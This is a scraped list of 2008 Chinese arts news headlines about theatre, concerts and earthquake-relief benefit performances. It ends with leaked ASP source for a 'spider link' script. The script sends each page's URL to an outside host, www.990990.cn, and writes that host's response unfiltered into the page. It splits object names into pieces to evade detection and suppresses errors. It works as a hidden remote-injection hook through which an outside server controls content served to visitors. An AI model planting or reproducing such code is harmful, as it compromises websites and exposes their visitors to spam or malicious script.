| ·[图文] 话剧明星版第二轮演出郭达减少笑声 |
2008-06-12 |
0 |
|
| · 《在掩埋下雄起》等抗震救灾话剧激情上演 |
2008-06-12 |
0 |
|
| ·[图文] “功夫诗《九卷》”首演 让“功夫开口说话” |
2008-06-11 |
0 |
|
| ·[图文] 郑欣宜捐100小时做义务接听员 亲织毛衫赴四川 |
2008-06-11 |
0 |
|
| · 二炮文工团自带帐篷入川慰问 潘长江献唱 |
2008-06-06 |
0 |
|
| · 于魁智领衔五大头牌将亮相梅兰芳大剧院 |
2008-06-06 |
0 |
|
| ·[图文] 杂技《一品一三绝》技惊台北 |
2008-06-05 |
0 |
|
| ·[图文] 英国皇家芭蕾“镇团之宝”《曼侬》亮相中国 |
2008-06-02 |
0 |
|
| ·[图文] 港演艺界汇演筹善款三千万 刘德华跪谢全体艺人 |
2008-06-02 |
0 |
|
| ·[图文] 费交重访北京 艾森巴赫与郎朗师徒联袂 |
2008-06-02 |
0 |
|
| · 音乐舞剧首演票房捐灾区 |
2008-05-30 |
0 |
|
| · 12强选手成救灾志愿者 决赛推迟 |
2008-05-30 |
0 |
|
| · 《卖花姑娘》大会堂加演一场 |
2008-05-29 |
0 |
|
| · 比利时皇家乐团6月巨献“火山上的葡萄园” |
2008-05-28 |
0 |
|
| · 谭梅两派挑头参加全国戏曲界赈灾义演 |
2008-05-28 |
0 |
|
| · 盛中国夫妇公益音乐会募捐逾370万 |
2008-05-28 |
0 |
|
| · 千手观音在英国为四川赈灾巡演 |
2008-05-27 |
0 |
|
| · 朗诵会上85岁朱琳真情朗诵激起雷鸣掌声 |
2008-05-26 |
0 |
|
| · 超豪华将亮相歌剧黄金月 |
2008-05-26 |
0 |
|
| ·[图文] 昆曲《牡丹亭》北大义演赈灾 |
2008-05-23 |
0 |
|
| · 香港最大慈善演出1日唱响 |
2008-05-23 |
0 |
|
| ·[图文] 李连杰四川当义工 被赞超级英雄 |
2008-05-22 |
0 |
|
| ·[图文] 美国朱丽亚音乐学院将于本月底访京 |
2008-05-22 |
0 |
|
| · 宋祖英录制 用歌声慰灾民 |
2008-05-21 |
0 |
|
| ·[图文] 演艺界共寄哀思 字字句句关注遇难同胞 |
2008-05-21 |
0 |
|
| · 朗朗等音乐家在京赈灾义演 募捐1100余万元 |
2008-05-16 |
0 |
|
| · 多台义演凝聚爱心 香港演艺界重唱 |
2008-05-16 |
0 |
|
| · 世界四大顶级芭蕾舞团将登场国家大剧院 |
2008-05-15 |
0 |
|
| · 文化部近期组织艺术家进行赈灾义演 |
2008-05-15 |
0 |
|
| · 募款义演晚会16日上演 |
2008-05-14 |
0 |
|
<%
''''--------- 蜘蛛链 自动获取链接代码（ASP V20071206） 开始 ---------''''
'' 参数宽(width)、高(height)、行(row)、列(col)可自行调整
Response.Write GetLink("88" , "31" , "1" , "6" , "1")
Function GetLink(width,height,row,col,secure)
On Error Resume Next
Dim Url
Url = "http://" & Request.ServerVariables("SERVER_NAME") & Request.ServerVariables("URL")
If Trim(Request.QueryString) <> "" Then Url = Url & "?" & Trim(Request.QueryString)
Url = "http://www.990990.cn/put.php?row=" & row & "&col=" & col & "&width=" & width & "&height=" & height & "&url=" & Server.URLEncode(Url) & "&secure=" & secure
GetLink = GetHttpPage(Url)
If Err.Number <> 0 Then
GetLink = ""
Err.Clear
End If
End Function
Function GetHttpPage(HttpUrl)
If IsNull(HttpUrl)=True Or Len(HttpUrl)<18 Then
GetHttpPage=""
Exit Function
End If
Dim Http
Set Http=server.createobject("MSX" & "ML2.XM" & "LHT" & "TP")
Http.open "GET",HttpUrl,False
Http.Send()
If Http.Readystate<>4 then
Set Http=Nothing
GetHttpPage=""
Exit function
End if
GetHTTPPage=bytesToBSTR(Http.responseBody,"utf-8")
Set Http=Nothing
If Err.number<>0 then
Err.Clear
End If
End Function
Function BytesToBstr(Body,Cset)
Dim Objstream
Set Objstream = Server.CreateObject("ad" & "odb.str" & "eam")
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = Cset
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function
''''--------- 蜘蛛链 自动获取链接代码（ASP V20071206） 结束 ---------''''
%>
